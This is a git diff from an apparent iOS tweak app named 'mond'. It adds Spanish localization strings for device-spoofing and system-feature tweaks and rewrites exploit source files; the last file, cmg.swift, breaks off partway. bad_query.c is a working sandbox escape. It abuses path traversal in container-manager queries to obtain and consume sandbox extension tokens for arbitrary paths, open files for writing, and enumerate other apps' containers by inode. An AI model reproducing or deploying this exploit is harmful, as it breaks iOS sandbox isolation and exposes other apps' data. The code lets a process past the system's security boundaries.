100644 index 0000000..18a367b --- /dev/null +++ b/mond/es.lproj/GestaltView.strings @@ -0,0 +1,86 @@ +"menu_warning.do_not_reboot" = "¡No reinicies!"; +"menu_warning.mg_empty" = "Tu archivo MobileGestalt.plist parece estar vacío."; +"menu_warning.mg_invalid" = "Tu archivo MobileGestalt.plist parece ser inválido."; +"menu_warning.bootloop" = "Reiniciar ahora puede causar un bootloop. Intenta pulsar 'Revertir Tweaks'. Si las advertencias no desaparecen después de eso, estás jodido."; + +"menu.apply_tweaks" = "Aplicar Tweaks"; +"menu.revert_tweaks" = "Revertir Tweaks"; +"menu.tweak_warning" = "**ADVERTENCIA:** ¡Estos tweaks pueden romper funciones de tu dispositivo o provocar un softbrick si se usan incorrectamente!"; + +"artwork.original_subtype_format" = "Original "; +"artwork.disable_dynamic_island" = "Desactivar Isla Dinámica"; +"artwork.subtype" = "Subtipo"; +"artwork.custom_device_name" = "Nombre de dispositivo personalizado"; +"artwork.device_name" = "Nombre de dispositivo"; +"artwork.device_artwork" = "Detalles del dispositivo"; + +"software.enable_dynamic_island_capability" = "Activar la capacidad de Isla Dinámica"; +"software.enable_dynamic_island_capability_info" = "Una forma alternativa de activar la Isla Dinámica, como se utiliza en Nugget."; +"software.always_on_display" = "Pantalla siempre activa"; +"software.always_on_display_info" = "Puede aumentar el riesgo de quemado de pantalla en dispositivos que no la admiten oficialmente."; +"software.aod_vibrancy" = "Intensidad de AOD"; +"software.aod_vibrancy_info" = "Activa esto si tu Pantalla siempre activa se muestra incorrectamente."; +"software.disable_wallpaper_parallax" = "Desactivar el paralaje del fondo de pantalla"; +"software.disable_wallpaper_parallax_info" = "Evita que el fondo de pantalla se mueva cuando inclinas o mueves el dispositivo."; +"software.charge_limit_menu" = "Menú de límite de carga"; +"software.charge_limit_menu_info" = "Muestra el menú correspondiente en Configuración; que realmente limite la carga depende de tu hardware."; +"software.boot_shutdown_chime" = "Sonido de inicio y apagado"; +"software.boot_shutdown_chime_info" = "Añade el sonido al encender o apagar el dispositivo."; +"software.enable_liquid_glass_low_performance_mode" = "Activar el modo de bajo rendimiento de Liquid Glass"; +"software.enable_liquid_glass_low_performance_mode_info" = "Diseñado para iOS 26 y posteriores."; +"software.disable_liquid_glass_low_performance_mode" = "Desactivar el modo de bajo rendimiento de Liquid Glass"; +"software.disable_liquid_glass_low_performance_mode_info" = "No lo uses al mismo tiempo que la opción anterior."; +"software.software_oriented_features" = "Funciones orientadas al software"; + +"hardware.camera_control_settings" = "Ajustes del Control de cámara del iPhone 16"; +"hardware.camera_control_settings_info" = "Muestra los ajustes del Control de cámara y sus funciones relacionadas."; +"hardware.action_button_settings" = "Ajustes del botón de acción"; +"hardware.action_button_settings_info" = "Muestra la página de ajustes del botón de acción."; +"hardware.collision_sos" = "SOS por colisión"; +"hardware.collision_sos_info" = "Muestra las opciones de detección de colisiones en los ajustes de SOS."; +"hardware.tap_to_wake" = "Tocar para activar"; +"hardware.tap_to_wake_info" = "Pensado para dispositivos como el iPhone SE, donde tocar para activar no está disponible de otra forma."; +"hardware.pulse_width_modulation" = "Modulación por ancho de pulso"; +"hardware.hardware_oriented_features" = "Funciones orientadas al hardware"; + +"eligibility.security_research_device_mode" = "Modo de dispositivo de investigación de seguridad"; +"eligibility.security_research_device_mode_info" = "Marca el dispositivo como un dispositivo de investigación de seguridad de Apple."; +"eligibility.disable_region_restrictions" = "Desactivar restricciones regionales"; +"eligibility.disable_region_restrictions_info" = "Este tweak puede estar roto o no tener efecto en algunas versiones de iOS o dispositivos."; +"eligibility.disable_region_restrictions_warning" = "No utilices esta función para eludir restricciones regionales que impliquen infringir las leyes regionales (por ejemplo, desactivar el sonido del obturador de la cámara). ¡NO nos hacemos responsables de ninguna actividad ilegal que se habilite mediante esta función!"; +"eligibility.apple_intelligence" = "Apple Intelligence"; +"eligibility.apple_intelligence_info" = "Cómo usar este tweak:\n1. Suplanta el modelo por el siguiente al primer modelo compatible con Apple Intelligence.\n2. Vuelve a suplantar tu modelo original.\n3. Suplanta tu modelo final y deberías ver el icono de Apple Intelligence en Configuración.\n4. Conecta el iPhone a la corriente y deja abierta la pestaña Configuración > Almacenamiento durante aproximadamente 1 hora.\n\nNOTA: No vuelvas a suplantar tu modelo."; +"eligibility.spoofing" = "Suplantación"; +"eligibility.default_model" = "Predeterminado"; +"eligibility.device_spoofing_info" = "Información de suplantación del dispositivo"; +"eligibility.device_spoofing_info_body" = "Suplanta el modelo de tu dispositivo solo si quieres descargar Apple Intelligence. Esto puede romper Face ID. Si decides dejar de suplantar el modelo y quieres conservar Apple Intelligence, NO vuelvas a entrar en el menú Apple Intelligence y Siri de Configuración."; +"eligibility.apple_intelligence_spoof" = "Suplantación para Apple Intelligence"; +"eligibility.apple_intelligence_spoof_info" = "Cómo usar este tweak:\n1. Suplanta el modelo por el siguiente al primer modelo compatible con Apple Intelligence.\n2. Vuelve a suplantar tu modelo original.\n3. Suplanta tu modelo final y deberías ver el icono de Apple Intelligence en Configuración.\n4. Conecta el iPhone a la corriente y deja abierta la pestaña Configuración > Almacenamiento durante aproximadamente 1 hora.\n\nNOTA: No vuelvas a suplantar tu modelo."; +"eligibility.eligibility" = "Elegibilidad"; + +"ipados.allow_ipados_apps" = "Permitir apps de iPad"; +"ipados.allow_ipados_apps_info" = "Permite instalar apps de iPad en el iPhone."; +"ipados.apple_pencil_settings" = "Ajustes del Apple Pencil"; +"ipados.apple_pencil_settings_info" = "Muestra la página de ajustes del Apple Pencil."; +"ipados.stage_manager_support" = "Compatibilidad con Stage Manager"; +"ipados.stage_manager_support_info" = "Marca el dispositivo como compatible con Stage Manager."; +"ipados.ipados_mode" = "Activar el modo iPadOS"; +"ipados.ipados_mode_info" = "Experimental y de alto riesgo; ¡es un tweak muy peligroso! Si utilizas un código de acceso alfanumérico, ¡NO USES ESTE TWEAK! No desactives \"Mostrar el Dock en Stage Manager\" o tu dispositivo entrará en BOOTLOOP al girarlo al modo horizontal. Algunos usuarios también han informado de que activar la interfaz de iPadOS y tocar Stage Manager puede hacer que el dispositivo entre en modo de recuperación, incluso cuando la interfaz parece no haber cambiado. La barra de búsqueda de Configuración puede moverse a la parte superior antes de que esto ocurra. Teniendo en cuenta estas tres cosas, puedes experimentar inestabilidad general u otros problemas graves, como que los datos de las apps desaparezcan aleatoriamente. Pero supongo que algunas funciones de multitarea divertidas que hacen que el dispositivo siga siendo relativamente inutilizable están bien. En fin, no estoy aquí para decirte cómo usar tu propio dispositivo."; +"ipados.ipados_features" = "Funciones de iPadOS"; + +"internal.internal_storage_view" = "Vista del almacenamiento interno"; +"internal.internal_storage_view_info" = "Muestra archivos internos en los ajustes de Almacenamiento; puede ser peligroso en algunos iPad."; +"internal.internal_features" = "Funciones internas"; +"internal.apple_internal_install" = "Instalación interna de Apple"; +"internal.apple_internal_install_info" = "Activa funciones internas como Metal HUD; algunos servicios pueden comportarse de forma inesperada."; +"internal.internal" = "Interno"; + +"warning.failed_to_load_mg" = "¡Error al cargar el MobileGestalt actual!"; +"warning.restart_and_check_logs" = "Reinicia la app e inténtalo de nuevo. Revisa los registros para obtener información más detallada."; +"warning.successfully_applyed_mg" = "¡Los tweaks de Gestalt se aplicaron correctamente!"; +"warning.respring_to_take_effect" = "Haz respring en tu dispositivo para que los cambios surtan efecto. Ten en cuenta que algunos tweaks pueden requerir un reinicio para aplicarse correctamente."; +"warning.failed_to_apply_mg" = "¡Error al aplicar MobileGestalt!"; +"warning.successfully_reverted_mg" = "¡Los tweaks de Gestalt se revirtieron correctamente!"; +"warning.reboot_to_take_effect" = "Reinicia tu dispositivo para que los cambios surtan efecto."; +"warning.failed_to_revert_mg" = "¡Error al revertir MobileGestalt!"; +"warning.check_logs" = "Revisa los registros para obtener información sobre el error."; \ No newline at end of file diff --git a/mond/es.lproj/LanguageView.strings b/mond/es.lproj/LanguageView.strings new file mode 100644 index 0000000..1c9629a --- /dev/null +++ b/mond/es.lproj/LanguageView.strings @@ -0,0 +1,7 @@ +"system_default" = "Predeterminado del sistema"; +"system_default_description" = "Usar el idioma del dispositivo"; +"language" = "Idioma"; +"choose_language" = "Elegir idioma"; +"restart_required" = "Reinicio requerido"; +"exit" = "Salir"; +"restart_required_message" = "Para que el cambio de idioma surta efecto, la app debe reiniciarse."; \ No newline at end of file diff --git a/mond/es.lproj/Localizable.strings b/mond/es.lproj/Localizable.strings new file mode 100644 index 0000000..c64ca16 --- /dev/null +++ b/mond/es.lproj/Localizable.strings @@ -0,0 +1,10 @@ +/* Spanish localization for mond */ +// Keys used in multiple files or elsewhere +"warning" = "¡Advertencia!"; +"respring" = "Respring"; +"not_supported" = "¡No compatible!"; +"check_your_ios" = "Es posible que tu versión de iOS no sea compatible con mond.\nMond solo es compatible con iOS 27.0 developer beta 1 - 4."; +"cancel" = "Cancelar"; +"done" = "Listo"; +"save_failed" = "Error al guardar"; +"information" = "Información"; \ No newline at end of file diff --git a/mond/es.lproj/LogsView.strings b/mond/es.lproj/LogsView.strings new file mode 100644 index 0000000..cf994f8 --- /dev/null +++ b/mond/es.lproj/LogsView.strings @@ -0,0 +1 @@ +"copy_output" = "Copiar registros"; \ No newline at end of file diff --git a/mond/es.lproj/PosterView.strings b/mond/es.lproj/PosterView.strings new file mode 100644 index 0000000..3715aac --- /dev/null +++ b/mond/es.lproj/PosterView.strings @@ -0,0 +1,15 @@ +"apply" = "Aplicar"; +"reset" = "Restablecer"; +"import_tendies" = "Importar Tendies"; +"explore_tendies" = "Explorar Tendies"; +"tendies_warning" = "Importa hasta 5 paquetes de fondos de pantalla.\n**NOTA:** Importar más de 5 Tendies a la vez no es una buena idea, y más de 15 es una idea TERRIBLE. No digas que no te avisé."; +"imported" = "Importado"; +"poster_apply_success_title" = "¡PosterBoard aplicado correctamente!"; +"poster_take_effect" = "Para que los cambios surtan efecto:\n1. Pulsa 'Abrir' para iniciar PosterBoard\n2. Ciérralo desde el selector de aplicaciones"; +"open" = "Abrir"; +"poster_apply_failed_title" = "¡Error al aplicar PosterBoard!"; +"poster_apply_failed_body" = "Reinicia la app e inténtalo de nuevo. Revisa los registros para obtener información más detallada."; +"poster_reset_success_title" = "¡PosterBoard restablecido correctamente!"; +"poster_reset_success_body" = "Haz respring en tu dispositivo para que los cambios surtan efecto."; +"poster_reset_failed_title" = "¡Error al restablecer PosterBoard!"; +"poster_reset_failed_body" = "Reinicia la app e inténtalo de nuevo. Revisa los registros para obtener información más detallada."; \ No newline at end of file diff --git a/mond/es.lproj/SantanderView.strings b/mond/es.lproj/SantanderView.strings new file mode 100644 index 0000000..5e3b6d9 --- /dev/null +++ b/mond/es.lproj/SantanderView.strings @@ -0,0 +1,17 @@ +"go_to_root" = "Ir a la raíz"; +"go_to_home" = "Ir a Inicio"; +"display_hidden_files" = "Mostrar archivos ocultos"; +"sort_az" = "Ordenar A-Z"; +"sort_za" = "Ordenar Z-A"; +"save" = "Guardar"; +"ok" = "Aceptar"; +"failed_to_render_image" = "No se pudo procesar la imagen"; +"missing_write_permission" = "Falta el permiso de escritura."; +"could_not_encode_text" = "No se pudo codificar el texto."; +"invalid_plist_json" = "El texto editado no es un documento plist/JSON válido."; +"no_visible_items" = "No hay elementos visibles. Activa \"Mostrar archivos ocultos\" para mostrar los archivos ocultos."; +"directory_empty" = "El directorio está vacío."; +"no_app_containers_found" = "No se encontraron contenedores de aplicaciones."; +"cannot_list_directory" = "No se puede listar el directorio (faltan permisos)."; +"not_a_directory" = "No es un directorio."; +"no_matching_items" = "No hay elementos coincidentes."; \ No newline at end of file diff --git a/mond/es.lproj/SettingsView.strings b/mond/es.lproj/SettingsView.strings new file mode 100644 index 0000000..df7298c --- /dev/null +++ b/mond/es.lproj/SettingsView.strings @@ -0,0 +1,37 @@ +"unknown_app" = "App desconocida"; +"method" = "Método"; +"run_exploit" = "Ejecutar exploit"; +"exploit" = "Exploit"; +"exploit_method_cmg" = "**CMG:** Compatible con iOS 27.0 b1 - b4. Solo MobileGestalt funcionará con este método. Úsalo únicamente cuando bad_query no funcione en tu dispositivo."; +"exploit_method_bad_query" = "**bad_query:** Compatible con iOS 27.0 b1 - b4. Por [forcequit](https://github.com/forcequitOS)."; +"sandbox_extension_token" = "Token de extensión de sandbox."; +"token_class" = "Clase:"; +"token_path" = "Ruta:"; +"copy_token" = "Copiar token"; +"failed_to_get_token" = "No se pudo obtener el token."; +"generate_token" = "Generar token"; +"token" = "Token"; +"sandbox_token_valid" = "Tu token de sandbox es válido."; +"sandbox_token_invalid" = "Tu token de sandbox no es válido."; +"exploit_failed_version" = "Desactivado porque el exploit falló. ¿Tu versión de iOS es compatible?"; +"keep_alive" = "Mantener activo"; +"keep_alive_info" = "Mantiene la app ejecutándose en segundo plano después de cerrarla, permitiendo que permanezca activa."; +"dismiss_after_importing" = "Cerrar después de importar"; +"dismiss_after_importing_info" = "Cuando está activado, el explorador de Tendies se cerrará automáticamente después de importar un archivo .tendies a PosterBoard."; +"persist_after_reboot" = "Persistir después de reiniciar"; +"persist_after_reboot_info" = "Cuando está activado, MobileGestalt se escribe en el mismo inode, lo que (con suerte) evita que iOS regenere la caché al reiniciar. Desactívalo para usar el reemplazo atómico del archivo."; +"ignore_exploit_failure" = "Ignorar el fallo del exploit"; +"ignore_exploit_failure_info" = "Cuando está activado, todos los Tweaks estarán disponibles incluso si el exploit falla."; +"settings" = "Configuración"; +"tools" = "Herramientas"; +"respring_method_credits" = "Método de Respring por [neon](https://github.com/neonmodder123), implementación en Swift por [skadz](https://github.com/skadz108)."; +"credit_main_developer" = "Desarrollador principal"; +"credit_bad_query_exploit" = "El exploit bad_query"; +"credit_mcm_bug_class" = "Su trabajo en la clase de errores MCM"; +"credit_partyui_gestaltview" = "PartyUI, GestaltView"; +"credit_tendies_repo" = "Repositorio de Tendies"; +"credit_locaclization_project" = "Creación del proyecto de localización"; +"credits" = "Créditos"; +"are_you_sure" = "¿Estás seguro?"; +"confirm" = "Confirmar"; +"confirm_respring" = "Confirma que quieres hacer respring."; \ No newline at end of file diff --git a/mond/es.lproj/TendiesView.strings b/mond/es.lproj/TendiesView.strings new file mode 100644 index 0000000..d1f77b1 --- /dev/null +++ b/mond/es.lproj/TendiesView.strings @@ -0,0 +1,11 @@ +"loading_wallpapers" = "Cargando fondos de pantalla…"; +"couldnt_load_tendies" = "No se pudieron cargar los Tendies"; +"try_again" = "Intentar de nuevo"; +"search_wallpapers" = "Buscar fondos de pantalla"; +"import_failed" = "Error al importar"; +"ok" = "Aceptar"; +"add_to_imported" = "Añadir a importados"; +"preview_unavailable" = "Vista previa no disponible"; +"preview_couldnt_load" = "No se pudo cargar la vista previa del fondo de pantalla."; +"downloading" = "Descargando..."; +"download_failed" = "Error al descargar"; \ No newline at end of file diff --git a/mond/exploit/bad_query/bad_query.c b/mond/exploit/bad_query/bad_query.c index c6d3e24..17857b7 100644 --- a/mond/exploit/bad_query/bad_query.c +++ b/mond/exploit/bad_query/bad_query.c @@ -1,208 +1,208 @@ -// -// bad_query.c -// bad_query -// -// Created by Taj C on 7/21/26. -// - -#include "bad_query.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -static int g_fd = -1; - -typedef void *(*container_query_create_fn)(void); -typedef void (*container_query_set_class_fn)(void *, uint64_t); -typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); -typedef void (*container_query_set_flags_fn)(void *, uint64_t); -typedef void (*container_query_set_part_fn)(void *, uint64_t); -typedef void (*container_query_set_part_domain_fn)(void *, const char *); -typedef void *(*container_query_get_single_result_fn)(void *); -typedef void (*container_query_free_fn)(void *); -typedef char *(*container_copy_sandbox_token_fn)(void *); -typedef int64_t (*sandbox_extension_consume_fn)(const char *); -typedef int (*sandbox_extension_release_fn)(int64_t); - -int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group, char *probe_leaf) { - // Sanity check our path and check if something already exists there - if (!path || path[0] != '/') return -255; // Not an absolute path - if (!create) { - struct stat st; - if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return - } - - // Now the fun begins - void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); - if (!mgr) return -1; // Failed to dlopen - - // Resolve functions - container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); - container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); - container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); - container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); - container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); - container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain"); - container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); - container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); - container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); - sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); - - int64_t handle = -1; - if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) { - dlclose(mgr); - return -1; // Failed to resolve a function - } - - // Create query - void *query = query_create(); - if (!query) { - dlclose(mgr); - return -2; // Failed to create query - } - - // Set up query - // Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags. - xpc_object_t identifier; - if (group_identifier == NULL) { - query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system - identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache"); - } else { - query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd - identifier = xpc_string_create(group_identifier); - } - query_set_group_identifiers(query, identifier); - query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches - char *part = NULL; - // Oldest trick in the book. Basic path traversal. - if (group_identifier == NULL) { - if (asprintf(&part, "../../../../../../../..%s", path) != -1) { - query_set_part_domain(query, part); - } else { - xpc_release(identifier); - query_free(query); - dlclose(mgr); - return -5; // asprintf failed for some reason - } - } else { - // We have to go one level higher to get to / from an App Group - if (asprintf(&part, "../../../../../../../../..%s", path) != -1) { - query_set_part_domain(query, part); - } else { - xpc_release(identifier); - query_free(query); - dlclose(mgr); - return -5; // Same thing - } - } - - // To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27 - if (is_group) { - query_set_flags(query, 0x0000000800000000ULL); - } else { - query_set_flags(query, 0x0000008000000000ULL); - } - - // Send our query over - void *result = query_get_single_result(query); - if (!result) { - free(part); - xpc_release(identifier); - query_free(query); - dlclose(mgr); - return -3; // Outside of sandbox - } - - char *token = copy_sandbox_token(result); - if (!token) { - free(part); - xpc_release(identifier); - query_free(query); - dlclose(mgr); - return -4; // Kernel refused to issue a sandbox extension - } - - // printf("(bq) token: %s", token); - - // Consume our fresh sandbox extension and clean up - handle = consume_extension(token); - free(token); - free(part); - xpc_release(identifier); - query_free(query); - - if (probe_leaf && probe_leaf[0] != '\0') { - char file[PATH_MAX]; - snprintf(file, sizeof(file), "%s/%s", path, probe_leaf); - - g_fd = open(file, O_WRONLY | O_CLOEXEC | O_NOFOLLOW); - int flags = fcntl(g_fd, F_GETFL); - - if (flags == -1) { - printf("(bq) fcntl failed: %s\n", strerror(errno)); - printf("(bq) exploit failed\n"); - } else { - int write_enabled = ((flags & O_ACCMODE) == O_WRONLY) || ((flags & O_ACCMODE) == O_RDWR); - printf("(bq) fd flags: %d\n", flags); - printf("(bq) write enabled: %s\n", write_enabled ? "true" : "false"); - } - } - - dlclose(mgr); - return handle; -} - -void bad_query_release(int64_t handle) { - if (handle < 0) return; - sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); - if (release_extension) release_extension(handle); -} - -// This still works on 27.0b5 -// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time) -// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer -char *bad_query_list(char *path, int64_t max_inode) { - struct statfs sfs; - if (statfs(path, &sfs) != 0) { - if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) { - return NULL; - } - } - fsid_t fsid = sfs.f_fsid; - - size_t cap = 65536; - size_t length = 0; - size_t path_length = strlen(path); - - char *out = malloc(cap); - if (!out) return NULL; - out[0] = '\0'; - - char buf[1200]; - for (uint64_t ino = 1; ino <= max_inode; ino++) { - ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino); - if (n <= 0) continue; - - const char *p = buf; - if (strncmp(p, "/private/var/", 13) == 0) p += 8; - if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue; - if (strchr(p + path_length + 1, '/')) continue; - - size_t need = strlen(p) + 2; - if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; } - length += snprintf(out + length, cap - length, "%s\n", p); - } - return out; -} +// +// bad_query.c +// bad_query +// +// Created by Taj C on 7/21/26. +// + +#include "bad_query.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static int g_fd = -1; + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void (*container_query_set_part_domain_fn)(void *, const char *); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); +typedef int (*sandbox_extension_release_fn)(int64_t); + +int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group, char *probe_leaf) { + // Sanity check our path and check if something already exists there + if (!path || path[0] != '/') return -255; // Not an absolute path + if (!create) { + struct stat st; + if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return + } + + // Now the fun begins + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -1; // Failed to dlopen + + // Resolve functions + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + + int64_t handle = -1; + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) { + dlclose(mgr); + return -1; // Failed to resolve a function + } + + // Create query + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -2; // Failed to create query + } + + // Set up query + // Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags. + xpc_object_t identifier; + if (group_identifier == NULL) { + query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system + identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache"); + } else { + query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd + identifier = xpc_string_create(group_identifier); + } + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches + char *part = NULL; + // Oldest trick in the book. Basic path traversal. + if (group_identifier == NULL) { + if (asprintf(&part, "../../../../../../../..%s", path) != -1) { + query_set_part_domain(query, part); + } else { + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -5; // asprintf failed for some reason + } + } else { + // We have to go one level higher to get to / from an App Group + if (asprintf(&part, "../../../../../../../../..%s", path) != -1) { + query_set_part_domain(query, part); + } else { + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -5; // Same thing + } + } + + // To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27 + if (is_group) { + query_set_flags(query, 0x0000000800000000ULL); + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + // Send our query over + void *result = query_get_single_result(query); + if (!result) { + free(part); + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -3; // Outside of sandbox + } + + char *token = copy_sandbox_token(result); + if (!token) { + free(part); + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -4; // Kernel refused to issue a sandbox extension + } + + // printf("(bq) token: %s", token); + + // Consume our fresh sandbox extension and clean up + handle = consume_extension(token); + free(token); + free(part); + xpc_release(identifier); + query_free(query); + + if (probe_leaf && probe_leaf[0] != '\0') { + char file[PATH_MAX]; + snprintf(file, sizeof(file), "%s/%s", path, probe_leaf); + + g_fd = open(file, O_WRONLY | O_CLOEXEC | O_NOFOLLOW); + int flags = fcntl(g_fd, F_GETFL); + + if (flags == -1) { + printf("(bq) fcntl failed: %s\n", strerror(errno)); + printf("(bq) exploit failed\n"); + } else { + int write_enabled = ((flags & O_ACCMODE) == O_WRONLY) || ((flags & O_ACCMODE) == O_RDWR); + printf("(bq) fd flags: %d\n", flags); + printf("(bq) write enabled: %s\n", write_enabled ? "true" : "false"); + } + } + + dlclose(mgr); + return handle; +} + +void bad_query_release(int64_t handle) { + if (handle < 0) return; + sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); + if (release_extension) release_extension(handle); +} + +// This still works on 27.0b5 +// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time) +// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer +char *bad_query_list(char *path, int64_t max_inode) { + struct statfs sfs; + if (statfs(path, &sfs) != 0) { + if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) { + return NULL; + } + } + fsid_t fsid = sfs.f_fsid; + + size_t cap = 65536; + size_t length = 0; + size_t path_length = strlen(path); + + char *out = malloc(cap); + if (!out) return NULL; + out[0] = '\0'; + + char buf[1200]; + for (uint64_t ino = 1; ino <= max_inode; ino++) { + ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino); + if (n <= 0) continue; + + const char *p = buf; + if (strncmp(p, "/private/var/", 13) == 0) p += 8; + if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue; + if (strchr(p + path_length + 1, '/')) continue; + + size_t need = strlen(p) + 2; + if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; } + length += snprintf(out + length, cap - length, "%s\n", p); + } + return out; +} diff --git a/mond/exploit/bad_query/bad_query.h b/mond/exploit/bad_query/bad_query.h index a4d894e..6bdd9b0 100644 --- a/mond/exploit/bad_query/bad_query.h +++ b/mond/exploit/bad_query/bad_query.h @@ -1,18 +1,18 @@ -// -// bad_query.h -// bad_query -// -// Created by Taj C on 7/21/26. -// - -#ifndef bad_query_h -#define bad_query_h - -#include -#include - -int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group, char *probe_leaf); -char *bad_query_list(char *path, int64_t max_inode); -void bad_query_release(int64_t handle); - -#endif /* bad_query_h */ +// +// bad_query.h +// bad_query +// +// Created by Taj C on 7/21/26. +// + +#ifndef bad_query_h +#define bad_query_h + +#include +#include + +int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group, char *probe_leaf); +char *bad_query_list(char *path, int64_t max_inode); +void bad_query_release(int64_t handle); + +#endif /* bad_query_h */ diff --git a/mond/exploit/cmg.swift b/mond/exploit/cmg.swift index b9db3d3..361af72 100644 --- a/mond/exploit/cmg.swift +++ b/mond/exploit/cmg.swift @@ -1,105 +1,105 @@ -// -// cmg.swift -// mond -// -// Created by roooot on 16.07.26. -// Copyright (C) 2026 roooot -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU Affero General Public License as published -// by the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// You can find the full license text at: -// https://www.gnu.org/licenses/agpl-3.0.html -// - -import Foundation -import XPC - -var g_fd: Int32 = -1 - -private typealias create_fn = @convention(c) () -> UnsafeMutableRawPointer? -private typealias activate_fn = @convention(c) (UnsafeMutableRawPointer?, Bool) -> Bool -private typealias free_fn = @convention(c) (UnsafeMutableRawPointer?) -> Void - -private typealias set_ui64_fn = @convention(c) (UnsafeMutableRawPointer?, UInt64) -> Void -private func set_ui64_noop(_ q: UnsafeMutableRawPointer?, 